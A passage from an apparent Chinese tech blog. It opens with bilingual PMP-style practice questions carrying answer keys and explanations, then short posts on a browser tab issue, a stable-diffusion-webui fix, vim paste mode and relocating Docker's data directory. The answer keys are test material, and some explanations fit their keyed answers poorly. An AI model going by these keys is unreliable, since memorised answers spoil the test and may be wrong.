progress  B : 让团队成员提交他们的进度 Have team members submit their progress  C :更新问题日志以报告未提交的进度情况 Update the issue log to report uncommitted progress  D :使用剩余活动计算平均进度 Calculate average progress using remaining activity 正确答案:B 你的答案:A 解析:知识点出处: PMBOK 6th 页码:P225 章节:6.6.1.3 工作绩效数据 :工作绩效数据包含关于项目状态的数据,例如哪些活动已经开始,它们的进展如何(如实际 持续时间、剩余持续时 间和实际完成百分比), 哪些活动已经完成。 工作绩效数据需要团队成员提交。 130、 你负责的一个大型项目是在你的城市安装5G互联网中心。尽管大多数项目变量都是清晰的,并且可以使用瀑布方法进行管理,但是技术方面并没有完全定义,并且将随着项目的进展进行详细阐述。发起人要求更频繁和更快地交流项目信息。为了满足发起人的要求,你不会使用以下哪个方法?You are in charge of a large project to install 5G internet hubs across your city. Although most of the project variables are clear and can be managed using the waterfall approach, technical aspects are not fully defined and will be elaborated as the project progresses. The sponsor requests that project information will be communicated more frequently and quickly. To address the sponsor's request, you will use all of the following, except:  A :保持频繁的团队检查点 Holding frequent team checkpoints  B :进行有规律的相关方审查 Conducting regular stakeholder reviews  C :实现信息发射源 Implementing information radiators  D : 每周传达项目状态 Communicating project status weekly 正确答案:D 你的答案:C 解析:知识点出处:敏捷实践指南 页码:P152 章节:术语表 信息发射源: 它是一种可见的实物展示其向组织内其他成员提供信息在不干扰团队的情况下即时实现知识共享。 信息发射源一般包括看板、燃尽图、燃起图、障碍日志等 四个选项中,只有D不够敏捷。 131、 你是一家大型组织的主管,考虑从预测性项目管理方法逐步过渡到敏捷项目管理方法。你聘请了一家外部咨询公司来评估当前的做法,并提出最好的过渡方式。在观察你的组织几个月后,顾问提出了几个选择。你最不可能选择哪个选项?You are an executive in a large organization that considers a gradual transition from a predictive to the agile project management approach. You hire an external consulting company to evaluate the current practices and propose the best way for the transition. After observing your organization for several months, the consultant lays out several options. Which option would you least likely to select?  A :以两到四周的迭代周期开发产品 Developing the product in two- to four-week iterations  B :将每日站会纳入团队的日常工作 Incorporating daily standup meetings into the team's routine  C : 使用每周会议跟踪项目进展 Tracking the project progress using weekly meetings  D :在每次迭代的末尾进行团队回顾 Holding team retrospectives at the end of each iteration 正确答案:C 你的答案:A 解析:知识点出处:敏捷实践指南 页码:P50 章节:5.2.1 迭代计划会: 每日站会 、迭代迭代评审会 、迭代回顾会 。 C不敏捷 133、 项目经理希望在新项目中使用一名特定供应商。该供应商目前正在为项目经理管理的另一个项目工作。项目经理希望在开始为新项目工作之前,先完成当前项目。在供应商开始为新项目工作之前,项目经理应该做什么?The project manager wants to use a specific vendor in the new project. The vendor is currently working on another project managed by the project manager. The project manager wants to complete the current project before starting work on the new project. What should the project manager do before the vendor starts working on the new project?  A :与供应商一起评审合同协议。 Review contract agreements with suppliers  B :更新采购文档。 Update purchase document  C : 执行采购审计。 Perform procurement audits  D :要求供应商完成所有现有工作。 Require suppliers to complete all existing work 正确答案:C 你的答案:B 解析:知识点出处: PMBOK 6th 页码:P498 章节:12.3.2.5 采购审计: 审计是对采购过程的结构化审查。应该在采购合同中明确规定与审计有关的权利和义务。 买方的项目经理和卖方的项目经理都应该关注审计结果, 以便对项目进行必要调整。 注意题干中提到的问题的逻辑关系 139、 你正在领导一个开发新智能手机的项目。因为你要预测需求的许多变更,并不断从相关方那里得到反馈来调整智能手机,所以工作将以小的增量迭代完成。然而,这款智能手机的摄像头将由一家拒绝以渐进方式合作的供应商开发。你为该项目选择什么项目管理方法是最好的?You are leading a project to develop a new smartphone. Since you are anticipating many changes in requirements and continuous feedback from stakeholders to adjust the smartphone accordingly, the work will be done iteratively in small increments. However, the camera for the smartphone will be developed by a vendor who refuses to collaborate in an incremental way. What project management approach is best for you to select for this project?  A : 以敏捷方法为主,带有一些预测组件 Predominantly agile with some predictive components  B :以预测方法为主,带有一些敏捷组件 Predominantly predictive with some agile components  C :在计划过程中具有预测性,在执行过程中具有敏捷性 Predictive during planning and agile during execution  D :在计划和执行期间的敏捷项目管理方法 Agile during planning and predictive during execution 正确答案:A 你的答案:C 解析:知识点出处:敏捷实践指南 页码:P26 章节:3.1.6 混合生命周期的特征:对于整个项目,没有必要使用单一的方法。为达到特定的目标,项目经常要结合不同的生命周期要素。预测、迭代、增量和/或敏捷方法的组合就是一种混合方法。 从题干描述来看,手机开发方法主要为敏捷,摄像头为 预测。 140、 每次你与你的项目发起人会面,她都要强调对于你的新的电子商务项目的成本控制的必要性。她经常询问你成本业绩方面的问题,诸如哪一个预算达到了哪一个没有达到。为了回答她的问题,你应该提供什么?Each time you meet with your project sponsor, she emphasizes the need for cost control on your new-business project. She always asks you about cost performance in terms of which budgets have been met and which have been met and which have not. What should you provide to answer her question?  A : 绩效测量基准 Cost Performance baseline  B :业绩衡量图表 Performance measurement graphs and charts  C :资源生产力分析 Resource productivity analyses  D :趋势分析统计 Trend analysis statistics 正确答案:A 你的答案:D 解析:知识点出处: PMBOK 6th 页码:P224 章节:6.6.1.1 绩效测量基准: 使用挣值分析时,将绩效测量基准与实际结果比较,以决定是否有必要进行变更、采取纠正措施或预防措施。 向发起人提供绩效测量基准,将绩效比较结果告之。 141、 由于没有空,具有批准权限的相关方拒绝了参与项目开工会议的邀请。该项目时间紧迫,及时开工对于满足截止日期至关重要。项目经理应该做什么?Due to the lack of time, interested parties with approval authority rejected the invitation to participate in the kick-off meeting. The project is urgent, and timely start-up is essential to meet the deadline. What should the project manager do?  A : 升级上报给项目发起人 The upgrade is reported to the project sponsor  B :在没有他们参加的情况下举行项目开工会议 Hold project kick-off meeting without their participation  C :将会议重新安排在他们能够参与的时间 Reschedule the meeting at a time when they can participate  D :询问与会者以确定开工会议是否有必要 Ask participants to determine if a kick-off meeting is necessary 正确答案:A 你的答案:C 解析:知识点出处: PMBOK 6th 页码:P86 章节:4.2.2.4 Kick-off 会议:项目开工会议通常意味着规 划阶段结束和执行阶段开始, 旨在传达项目目标、获得团队对项目的承诺,以及阐明每个相关方的角色和职责。 规划已经结束, 就等着审批后执行了,此时应尽快解决。 144、 一位项目团队成员在工作场所之外与项目发起人会面后,向项目经理告知该发起人的新期望。项目经理应如何解决这个问题?After meeting with the project sponsor outside the workplace,a project team member update the project manager on the sponsor's new expectations.How should the project manager address this?  A :与团队和发起人一起审查沟通管理计划 Review the communications management plan with the team and the sponsor  B : 与发起人开会,以确认期望 Meet with the sponsor to confirm expectations  C :将发起人的期望纳入项目中 Incorporate the sponsor's expectations into the project  D :指示团队成员不要与发起人讨论该项目 Instruct the team member not to discuss the project with the sponsor 正确答案:B 你的答案:A 解析:知识点出处: PMBOK 6th 页码:P524 章节:13.2 在管理相关方参与过程中,需要开展多项活动,例如: • 在适当的项目阶段引导相关方参与,以便获取、确认或维持他们对项目成功的持续承诺; • 通过谈判沟通管理相关方期望; • 处理与相关方管理有关的任何风险或潜在关注点,预测相关方可能在未来引发的问题; • 澄清和解决已识别的问题 通过谈判与沟通了解相关方的期望。 145、 你将与你的团队会面来确定项目的生命周期。在分析了定义和管理需求、开发可交付成果、处理变更、控制风险和成本,以及与关键相关方合作的最佳方式之后,做出了选择混合生命周期的决定。在选定项目生命周期后,关键相关方多久参与一次?You meet with your team to determine the life cycle for your project. After analyzing the best way to define and manage requirements, develop deliverables, handle changes, control risk and cost, and engage key stakeholders, the decision is made to select a hybrid life cycle. With the project life cycle selected, how often will the key stakeholders be involved?  A :持续参与 Continuously  B :在特定里程碑参与 At specific milestones  C : 定期参与 Regularly  D :完全不参与 Not involved at all 正确答案:C 你的答案:B 解析:知识点出处: 敏捷实践指南 页码:P26 章 节:3.1.6 混合生命周期的特征: 对于整个项目,没有必要使用单一的方法。为达到特定的目标,项目经常要结合不同的生命周期要素。预测、 迭代、增量和/或敏捷方法的组合就是一种混合方法。 A是敏捷, B是预测。 而混合型建议定期参与。 146、 你正在领导并执行项目管理计划中所概述的工作。作为这个过程的一部分,你已经通过服务型领导成功地鼓舞和激励了scrum团队,以快速的速度生成项目可交付成果。因此,项目趋向于满足并超过绩效测量基准。 作为这个过程的一部分,你可能需要执行哪些活动?(选择两个)You are in the process of leading and performing the work as outlined in the project management plan. As part of this process, you have successfully inspired and motivated your scrum team through servant leadership to produce project deliverables at a rapid pace. As a result, the project is trending to meet and exceed the performance measurement baseline. What activities might you need to perform as part of this process? (Choose two)  A :为项目章程寻求批准 Seek approval for the project charter  B : 实施已批准的变更请求 Implement approved change requests  C :确定项目相关方的全面列表 Identify a comprehensive list of project stakeholders  D : 协助日常的站立会议 Facilitate the daily standup meetings  E :制定风险应对策略以应对已识别的风险 Develop risk response strategies to address identified risks 正确答案:B,D 你的答案:D,E 解析:知识点出处: PMBOK 6th   页码:P90 章节:4.3 指导与管理项目工作是为实现项目目标而领导和执行项目管理计划中所确定的工作,并实施已批准变更的过程 从题干描述来看,属于执行过程组,因此选B和D 147、 客户希望增加股东权益的总和,提高其在全球市场的品牌知名度。客户的主要目标是什么?Customer wants to increase the total shareholders' equity and increase their brand awareness in the global market. What is the main objective of the customer?  A :为组织战略改善整体业务支持 To improve the overall business support for organizational strategy  B :增加营销预算 To increase the marketing budget  C : 提高商业价值 To increase the business value  D :通过重新投资其他业务组合提高市场份额 To increase the market share by reinvesting in other business portfolios 正确答案:C 你的答案:A 解析:知识点出处: PMBOK 6th 页码:P7 章节:1.2.1 有形效益的例子包括: • 货币资产; • 股东权益; • 公共事业; • 固定设施; • 工具; • 市场份额。 股东权益属于有形效益。 149、 一个沉浸在预测性项目管理方法中的组织决定采用混合方法作为敏捷项目管理的过渡策略。已经特许了一个试点Scrum项目,并分配了Scrum角色和职责。项目经理希望确保向客户提供最优的价值。项目经理接下来应该做什么?An organization that is steeped in a predictive project management approach has decided to adopt hybrid methods as a transition strategy to agile project management. A pilot scrum project has been chartered and scrum roles and responsibilities assigned. The project manager wants to ensure the optimal delivery of value to the customer. What should the project manager do next?  A :分配故事点以确定产品待办事项列表的优先级 Assign story points to prioritize the product backlog  B :要求该团队采用MoSCoW方法 Request that the team use the MoSCoW method  C : 为产品负责人安排Scrum培训 Schedule scrum training for the product owner  D :将WBS分解为Scrum用户故事 Decompose the WBS into scrum user stories 正确答案:C 你的答案:A 解析:知识点出处:敏捷实践指南 页码:41 章节:4.3.2 产品负责人 Product Owner :创建待办列表并排序、 确认工作优先顺序 、提供反馈、 指导开发方向 。 ABD都是产品负责人做的事,因此, 要先确认产品负责 人有能力做这些事。 151、 为了生产可交付的产品,你的项目必须与几个供应商签订合同。可交付成果将使用一个敏捷框架进行开发,该框架采用约束驱动的交付方式,这将影响与供应商的合同关系。 以下哪一种策略最适合这个项目?(选择三个)To produce deliverables, your project has to contract with several vendors. The deliverables will be developed using an agile framework with constraint-driven delivery, which will influence the contractual relationship with the vendors. Which of the following strategies would be the most appropriate for this project? (Choose three)?  A :根据详细的工作分解结构制定采购工作说明书 Develop the procurement statement of work based on the detailed WBS  B : 追求与供应商共享风险和回报的关系。 Pursue a shared-risk-reward relationship with the vendors  C : 与供应商签订合同时,采用固定价格增量。 Adopt fixed-price increments when contracting with the vendors  D :对每个供应商使用一个标准的固定价格合同。 Utilize a standard firm-fixed-price contract for each of the vendors  E : 在供应商合同中包含提前取消的选项。 Include an early cancellation option in the vendor contracts 正确答案:B,C,E 你的答案:B,D,E 解析:知识点出处:敏捷实践指南 页码:P77-78 章节:6.3 采购和合同: • 多层结构 • 强调价值交付 • 总价增量 • 固定时间和材料 • 累进的时间和材料 • 提前取消方案 • 动态范围方案 • 团队扩充 • 支持全方位供应商 敏捷的采购和合同 153、 一个敏捷团队正在为客户开发定制制造设备。经过三次迭代,一个功能原型已经就绪,但是它缺乏关键的安全功能,以及一些可以在未来版本中现场安装的增强功能。为了尽早得到客户的反馈,产品负责人要求团队尽快交付MVP。项目经理应如何处理产品负责人的要求?An agile team is developing custom manufacturing equipment for a client. After three iterations, a functional prototype is ready, but it lacks critical safety features as well as several enhancements that can be installed on-site in future releases. To get early feedback from the client, the product owner requests that the team deliver an MVP as soon as possible. What should the project manager do to address the product owner's request?  A :在原型上安装安全功能和增强功能,并交付给客户端 Install safety features and enhancements on the prototype and deliver it to the client  B : 仅安装原型上的安全功能,然后交付给客户端 Install only the safety features on the prototype and deliver it to the client  C :将原型以当前状态交付给客户端,因为它已经正常运行 Deliver the prototype to the client in its current condition as it is already functional  D :仅安装原型上的增强功能并交付给客户端 Install only the enhancements on the prototype and deliver it to the client 正确答案:B 你的答案:A 解析:知识点出处: PMBOK 6th 页码:P23 章节:3.1.3 MVP 最小可行产品:完整性和交付是主观的。团队可能需要获得关于原型的反馈, 然后可能选择将最小可行性产 品 (MVP) 交付给部分客户。客户的反馈将帮助团队了解他们 需要为随后交付的最终功能的完善提供些什么。 缺安全功能, 就给安全功能 154、 项目办公室刚刚发布给你一份项目状况检查报告。当你看到在执行总结中标题为“建议”的章节时,你的心情激动起来:你又一次被批评没有为项目提供足够的支持细节。尽管报告没有举例,但是你记得在PMBOK中看到过支持细节,它包括如下全部,除了The project office just issued you a project health check report. Your heart races with anticipation as you scan the euphemistically entitled “recommendations” in the executive summary. Once again, you have been criticized for failing to provide sufficient supporting detail about the project. Although the report does not provide examples, you remember reading about supporting detail in the PMBOK It includes all the following except.  A :命令和交付进度 Order and delivery schedules  B :现金流推算 Cash-flow projections  C :最好和最坏情况下的备用进度表 Best-and worst-case alternative schedules  D : 相关方职位报告 Stakeholder position papers 正确答案:D 你的答案:A 解析:知识点出处: PMBOK 6th 页码:P112 章节:4.5.3.1 工作绩效报告: 工作绩效报告的示例包括状态报告和进展报告。工作绩效报告可以包含挣值图表和信息、趋势线和预测、储备燃尽图、缺陷直方图、合同绩效信息和风险情况概述。可以表现为有助于引起关注、制定决策和采 取行动的仪表指示图、热点报告、信号灯图或其他形式。 工作绩效报告中不包含相关方的职位信息。 155、 随着项目的进展和可交付成果的产生,项目经理重新审查相关方参与计划,以确定可以对计划进行哪些改进,以提高相关方的参与。在这些项目文件中,哪些文件对正在执行的项目管理过程影响最大?(选择三个)As the project progresses and deliverables are being produced, the project manager revisits the stakeholder engagement plan to determine what refinements can be made to the plan to improve stakeholder engagement.Among the project documents, which will be the most influential to the project management process being performed? (Choose three)  A : 相关方登记册 Stakeholder register  B : 风险登记 Risk register  C :资源管理计划 Resource management plan  D :相关方参与评估矩阵 Stakeholder engagement assessment matrix  E : 问题日志 Issue log 正确答案:A,B,E 你的答案:A,B,D 解析:知识点出处: PMBOK 6th 页码:P519 章节:13.2.1.3 项目文件 :问题日志(E) 风险登记册(B) 相关方登记册(A) ITTO题 156、 在执行一个高技术项目期间,高层管理人员在不通知项目经理的情况下重新分配核心团队。整合新团队成员将增加项目进度延迟的可能性。若要确定适当的响应措施,项目经理应参考哪份文件?During the execution of a high-tech project, senior management redistributes the core team without notifying the project manager. The integration of new team members will increase the possibility of project delays.To determine the appropriate response, which document should the project manager refer to?  A :经验教训储存库 Lessons learned repository  B :工作分解结构(WBS)字典 Work breakdown structure (WBS) dictionary  C :团队技能矩阵 Team skills matrix  D : 风险登记册 Risk Register 正确答案:D 你的答案:A 解析:知识点出处: PMBOK 6th 页码:P455 章节:11.7.1.2 风险登记册的主要内容包括: • 已识别单个项目风险 • 风险责任人 • 商定的风险应对策略 • 以及具体的应对措施。 遇风险,先查册 162、 一位敏捷教练被要求为即将到来的敏捷项目团队建立团队。管理层希望利用公司现有的人才,而不要使用外部资源。敏捷教练联系人力资源部门,在公司内部网站上为未来的团队成员发布招聘广告。敏捷教练在广告中提出的以下哪项工作要求是最好的?An agile coach has been requested to put together a team for the upcoming agile project. The management wants to use the talent available in the company without the need to go outside. The agile coach approaches the human resource department to advertise the position for the prospective team members on the company internal website. Which of the following job requirements is best for the agile coach to indicate in the ad?  A :熟悉动态系统软件开发方法(DSDM) Experienced with the dynamic systems software development methods (DSDM)  B :熟练掌握自动化测试过程和程序 Self-starter and proficient in the automated testing processes and procedures  C : 对不同技能是否有专注的专长和丰富的经验 Has a focused specialty as well as a breadth of experience across multiple skills  D :具有团队合作精神,熟悉所有敏捷软件开发工具 Team player and briefly familiar with all agile software development tools 正确答案:C 你的答案:D 解析:知识点出处:敏捷实践指南 页码:P42 章节:4.3.3 通才型专家: 敏捷团队是跨职能的。不过,许多成功的敏捷团队都由通才型专家组成,他们也称为 T 型人才。 这意味着这些团队成员在具备一项擅长的专业化技能的同时,还拥有多种技能的工作经验,而不是单一的专业化 T型、通才型、跨职能型人才是敏捷团队成员的重要特点。 165、 项目经理正在整理用于验收产品可交付成果的文件。验收可交付成果时,项目经理应该做什么?A project manager is assembling the documents for the acceptance of product deliverables. Upon acceptance of the deliverables, what should the project manager do?  A :收尾项目可交付结果 Close the project deliverables  B :将可交付成果文件存档 Archive the deliverable documents  C :转移可交付成果的所有权 Transfer ownership of the deliverables  D : 获得客户对可交付成果的反馈 Obtain customer feedback on the deliverables 正确答案:D 你的答案:C 解析:知识点出处: PMBOK 6th 页码:P166 章节:5.5.3.1 验收的可交付成果: 符合验收标准的可交付成果应该由客户或发起人正式签字批准。应该从客户或发起人那里 获得正式文件,证明相关方对项目可交付成果的正式验收。 这些文件将提交给结束项目或阶段过程 对可交付成果满意的话,要正式签字批准。其他选项都 是收尾时候做的。 166、 一个产品开发项目正在进行中。该项目在软件开发中使用敏捷的生命周期,并在一个包罗万象的项目管理计划中运行。尽管经过周密的计划,但在发布了两个软件版本之后,用户指南并没有更新以反映最新的版本,这给最终用户造成了很大的混乱。项目经理应该做什么来确保此问题不再发生?A product development project is underway. The project uses an agile life cycle in software development and runs in an all-encompassing project management plan. Despite careful planning, after the release of two software versions, the user guide was not updated to reflect the latest version, which caused a lot of confusion to end users. What should the project manager do to ensure that this problem does not occur again?  A :提交变更请求以修改用户指南,使指南与当前软件版本保持一致 Submit a change request to modify the user's guide in a way that the guide will be consistent with the current software release  B :还原到软件的用户指南与发布给用户的软件一致的最后一个版本 Revert back to the last version of the software where the user's guide was consistent with the software released to the users  C : 要求CCB执行配置审查,以确保项目配置项的组成正确 Ask the CCB to perform a configuration audit to ensure that the composition of the project's configuration items is correct  D :提交变更请求以修订变更管理计划,以确保将用户指南标识为配置要素 Submit a change request to revise the change management plan to ensure that the user's guide is identified as a configuration element 正确答案:C 你的答案:D 解析:知识点出处: PMBOK 6th 页码:P118 章节:4.6.2.2 变更控制工具:为了便于开展配置和变更管理,可以使用一些手动或自动化的工具。配置控制重点关注可交付成果及各个过程的技术规范,而变更控制则着眼于识别、记录、批准或否决对项目文件、可交付成果或基准的变更。 配置管理的一个重要功能就是管理产品版本 168、 当项目发起人找到Scrum主管,要求在当前的冲刺中立即开发一个新的、紧急的、潜在的复杂的强制性法规遵循相关的需求时,Scrum团队正处于冲刺的中途。发起人强调,如果需求没有实现,整个项目可能会被取消。Scrum主管的最佳回应是什么?A scrum team is midway into a sprint when the project sponsor approaches the scrum master and requests that a new, urgent, and potentially complex mandatory compliance-related requirement should be developed immediately in the current sprint. The sponsor stresses that if the requirement is not implemented, the entire project may be canceled. What is the scrum master’s best response?  A :将要求添加到产品待办事项列表,并请求产品负责人在冲刺结束之后审查需求 Add the requirement to the product backlog and request the product owner to review the requirement after the sprint is over  B : 与产品负责人讨论要求,让他们做出决定,包括冲刺取消 Discuss the requirement with the product owner, and let them make a decision, including sprint cancellation  C :提交变更请求以更新范围基准并将要求添加到需求可追溯性矩阵 Submit a change request to update the scope baseline and add the requirement to the requirement traceability matrix  D :将要求添加到当前冲刺待办事项列表,并指示团队立即开始处理该待办事项列表 Add the requirement to the current sprint backlog and direct the team to start working on it immediately 正确答案:B 你的答案:C 解析:知识点出处:敏捷实践指南 页码:41 章节:4.3.2 产品负责人 Product Owner: 创建待办列表并排序、 确认工作优先顺序、 提供反馈、 指导开发方向。 是否变更,由PO决定。 172、 项目经理制定了一个全面的项目管理计划,包括完全详细的WBS和详细的项目进度计划。尽管做了这些努力,但项目仍然落后于计划,因为变更控制委员会(CCB)无法处理大量变更,即使其中大部分已经被产品负责人批准了。项目经理的最佳行动方案是什么?A project manager has developed a comprehensive project management plan, including a fully elaborated WBS and detailed project schedule. Despite these efforts, the project is running behind schedule because the change control board (CCB) is unable to cope with the high volume of changes, even though most of them have been approved by the product owner. What is the project manager's best course of action?  A :要求终止现有的项目,并寻求批准来启动一个将使用敏捷方法的新项目 Request the termination of the existing project and seek approval to initiate a new project that will utilize agile methodologies  B :提交变更请求来更新项目进度计划,以反映CCB的长过程时间所造成的延迟 Submit a change request to update the project schedule to reflect the delays caused by the CCB's long process times  C : 寻求批准绕过变更控制过程,让项目团队直接与产品负责人合作 Seek approval to bypass the change control process and have the project team collaborate directly with the product owner  D :告诉产品负责人项目正在使用预测模型,这意味着大多数变更都应该被拒绝 Instruct the product owner that the project is using a predictive model, which means most of the changes should be rejected 正确答案:C 你的答案:B 解析:知识点出处:敏捷实践指南 页码:41 章节:4.3.2 产品负责人 Product Owner: 创建待办列表并排序 、确认工作优先顺序、 提供反馈、 指导开发方向 。 设立了PO,还要经过CCB,那设立PO就没有意义。 176、 为了利用早期的收入,一个项目团队正在逐步地生产可交付成果。该项目趋向于满足所有的基准。然而,项目经理已经确定团队的速度在相同的时间段内,在SPI为0.83的前5次冲刺中,速度每次都是50个故事点。项目经理应该如何回应团队的表现?A project team is producing deliverables incrementally in order to take advantage of early revenue. The project is trending to meet all of the baselines. However, the project manager has determined that the team's velocity has been 50 points for each of the first five sprints with an SPI of 0.83 over the same time period. How should the project manager respond to the team's performance?  A :提交变更请求以修订项目进度基准 Submit a change request to revise the project schedule baseline  B : 建议团队在冲刺计划中设定更现实的目标 Suggest that the team set more realistic goals during sprint planning  C :打破时间表,让生产力回到正轨 Crash the schedule in order to get productivity back on track  D :为每次冲刺分配60个故事点 Assign the team 60 story points for each sprint going forward 正确答案:B 你的答案:A 解析:知识点出处:敏捷实践指南 页码:P61 章节:5.4.1 敏捷团队的衡量结果: 项目发起人通常想知道项目什么时候能够完成。一旦团队建立了稳定的速度(每个迭代的故事或故事点的平均数量)或平均周期时间, 团队就能够预测项目将花费多长时间。 每次速度恒定,说明团队能力稳定,建议将进度基准调 节为与速度一致。 179、 一个项目已获得批准,且资源管理计划已到位。项目经理联系职能经理,并要求他们所在地区的主题专家(SME)分配给项目团队。然而,由于年终收尾活动,首席财务官拒绝从其他部门分配主题专家。项目经理应该做什么?A project has been approved and a resource management plan is in place. The project manager contacts the functional managers and asks the subject matter experts (SME) in their area to be assigned to the project team. However, due to year-end closing activities, the CFO refused to assign subject matter experts from other departments.What should the project manager do?  A : 请求发起人使用他们的影响力来释放该资源 Ask the initiator to use their influence to release the resource  B :为该项目雇用一个新的永久性资源 Hire a new permanent resource for the project  C :推迟该项目直到该资源可用为止 Postpone the project until the resource is available  D :获得一个临时、技能熟练的外部资源 Obtain a temporary, skilled external resource 正确答案:A 你的答案:D 解析:知识点出处: PMBOK 6th 页码:P330 章节:9.3 获取资源的重要性:不能获得项目所需的资源时,可能会影响项目进度、预算、客户满意度、质量和风险;资源 或人员能力不足会降低 项目成功的概率,最坏的情况可能导致项目取消。 不能获取资源,项目可能失败。职能经理不给人,可以 考虑找领导。 180、 项目集经理要求定期更新计划下项目的进展情况。除了一个项目外,所有项目都使用传统方法进行管理。项目集经理指出在整个规划中有太多的范围变更,并希望看到这些变更是如何影响各种项目的总体进度的。对于领导敏捷项目的Scrum主管来说,要满足项目经理的要求,最好的行动方案是什么?A program manager requests regular updates on the progress of the projects under the program. All but one project in the program are managed using traditional methods. The program manager indicates that there are too many scope changes across the program and wants to see how these changes affect the overall progress of the various projects. What is the best course of action for the scrum master leading the agile project to address the program manager's request?  A :邀请项目集经理参加迭代审查会议 Invite the program manager to attend the iteration review meeting  B :建议项目集经理参加每日站会 Suggest that the program manager participate in the daily standups  C :让项目集经理审查迭代燃尽图 Have the program manager view the iteration burndown chart  D : 定期将发布燃起图发送给项目集经理 Periodically send the release burnup chart to the program manager 正确答案:D 你的答案:A 解析:知识点出处: 敏捷实践指南 页码:P152 章节:术语表 信息发射源: 它是一种可见的实物展示其向组织内其他成员提供信息在不干扰团队的情况下即时实现知识共享。 信息发射源一般包括看板、燃尽图、燃起图、障碍日志等 信息发射源可以实现信息共享。 C:不应该是审查,而是定期发送。 ### ChatGpt是不是已经有自我意识了? 谷歌浏览器使用了chatgpt之后,浏览器就莫名其妙的自己打开chatgpt 的tab页。关了,又自动打开,而且每隔一段时间就打开一个。 也不知道是不是浏览器的设置的问题,浏览器也是一直在使用,也没有设置什么呀,只是清下浏览器缓存,之前也根本就没遇到过这种情况,百度也没搜到怎么取消chatgpt浏览器自动固定,真的很影响体验。 先重置谷歌浏览器试试。 谷歌浏览器重置了设置后,没出现上面的问题了,真的是很奇怪,怎么会遇到上面的问题。 ### 解决stable-diffusion-webui切换模型报Something went wrong 问题 报错的问题 好久没用这个了,这2天切换模型突然报这个错误。 谷歌了了下,应该是找到了解决办法。 这个是github上面提交的BUG(Something went wrong) I found the reason because the network proxy software was turned on, turning off the shadowsocks will work fine, or use --no-gradio-queue 500 Internal Privoxy Error

500 Internal Privoxy Error

Privoxy encountered an error while processing your request:

Could not load template file no-server-data or one of its included components.

Please contact your proxy administrator.

If you are the proxy administrator, please put the required file(s)in the (confdir)/templates directory. The location of the (confdir) directory is specified in the main Privoxy config file. (It's typically the Privoxy install directory).

解决方法一 就是在webui-user.bat文件里添加--no-gradio-queue,不知道加的地方对不对 webui-user.bat配置项 @echo off set PYTHON=C:\Users\Cheng\AppData\Local\Programs\Python\Python310\python.exe set GIT= set VENV_DIR= set COMMANDLINE_ARGS= git pull call webui.bat --no-gradio-queue 解决方法二 就是不断的打开webui-user.bat,关闭webui-user.bat文件,也可能解决切换模型报omething went wrong的问题 ### "共建美好社区:沟通、合作与学习的重要性" 您将如何改善您的社区? 首先,沟通至关重要。无论是通过在线论坛、社交媒体还是面对面会议,社区成员应该开放和尊重地讨论他们所关心的问题。这使每个人都可以分享他们的观点和关注点,并帮助建立社区成员之间的理解和同情心。 社区改进的另一个重要方面是合作。通过合作,社区成员可以集中他们的资源和专业知识来解决复杂的问题并做出有意义的改变。这可以涉及组织社区活动、解决环境问题或在地方层面倡导政策变革等任何事情。 最后,社区改进还需要愿意倾听和从他人学习的意愿。重要的是要认识到并非每个人都有相同的经验或观点,而且我们都有从彼此身上学到的东西。通过对新思想和方法持开放态度,社区成员可以培养创新和创造力的文化,使每个人都受益。 总之,社区改进需要沟通、合作和愿意共同学习和成长。通过朝着这些目标努力,社区成员可以建立更强大、更充满活力和更具韧性的社区,使每个人受益。 ### Vim中排版脚本代码的技巧 当我们在使用 vim 编辑器时,有时候我们需要将一段代码粘贴到文件中。但是,如果直接将代码粘贴进去,可能会出现格式混乱、缩进错误等问题。这时候,我们就需要使用 vim 的粘贴模式来解决这个问题。 下面,我将为大家介绍如何在 vim 中排版脚本代码。 什么是 vim 的粘贴模式? vim 的粘贴模式是一种特殊模式,它可以将剪切板中的内容以原样粘贴到文件中,避免出现格式混乱、缩进错误等问题。 进入 vim 的粘贴模式 要进入 vim 的粘贴模式,可以使用以下命令: :set paste 这个命令可以告诉 vim,你将要进行粘贴操作,vim 在粘贴时不会自动缩进、不会进行自动补全等操作。 粘贴代码 进入粘贴模式后,就可以将代码复制到 vim 中了。如果你使用鼠标,可以直接在 vim 窗口中右键单击选择“粘贴”,如果你使用终端命令行,可以使用 Ctrl+Shift+V 或者 Shift+Insert 来粘贴。 退出 vim 的粘贴模式 粘贴完代码后,我们需要退出 vim 的粘贴模式,否则 vim 将会继续保持粘贴模式,而这样可能会导致一些不必要的问题。 退出 vim 的粘贴模式,可以使用以下命令: :set nopaste 保存文件并退出 vim 当你完成粘贴操作后,你需要保存文件并退出 vim。可以使用以下命令来实现: :wq 这个命令可以保存文件并退出 vim。 总结 vim 的粘贴模式是非常有用的,它可以避免在粘贴代码时出现格式混乱、缩进错误等问题。在进行粘贴操作时,记得先进入 vim 的粘贴模式,粘贴完后再退出粘贴模式。 ### Ubuntu Docker 文件迁移到挂载的硬盘里(二) 原因 这篇文章(【教程】Ubuntu Docker 文件迁移到挂载的硬盘里)之前有个缺点,就是更新Ubuntu系统时,配置项会丢失,导致容器服务没了,要重新添加配置项。添加了配置项重启dockers,也不起作用了。 2024-05-26:【教程】Ubuntu Docker 文件迁移到挂载的硬盘里 这篇文章无效,只需要改/etc/docker/daemon.json配置文件 这次则改用添加/etc/docker/daemon.json文件夹添加data-root配置项来解决上面的问题,然后我用ChatGpt写了一个脚本: 定时检查/etc/docker/daemon.json文件存在不存在,如果不存在则添加daemon.json文件,然后写入下面的配置项 { "data-root": "/mnt/docker_images" } 如果/etc/docker/daemon.json存在,data-root也存在,则检查data-root的值,如果值正确则不操作。 如果data-root不正确,则自动更新data-root则为正确的值,data-root不存在则可以自动添加"data-root": "/mnt/docker_images",过程不超过5分钟,只能说是ChatGpt太厉害了,真的很牛逼。 下面就是第二种Ubuntu Docker 文件迁移到挂载的硬盘里的方法 步骤 1、创建/etc/docker/daemon.json文件夹 vim /etc/docker/daemon.json 2、daemon.json文件写入data-root配置项 { "data-root": "/mnt/docker_images" } /mnt/docker_images就是外挂硬盘的路径 3、重启dockers sudo systemctl stop docker.socket sudo systemctl daemon-reload sudo systemctl start docker sudo systemctl status docker 4、添加脚本 ChatGpt写的脚本,还有注释,太厉害了。👍 #!/bin/bash # 设置保存Docker镜像的目录 DOCKER_IMAGES_DIR="/mnt/256G/docker_data" # 如果文件不存在,则创建并写入配置信息 if [ ! -f /etc/docker/daemon.json ]; then echo '{ "data-root": "'"$DOCKER_IMAGES_DIR"'" }' | sudo tee /etc/docker/daemon.json > /dev/null sudo systemctl restart docker else # 如果文件存在,检查"data-root"配置项 if grep -q '"data-root"' /etc/docker/daemon.json; then # 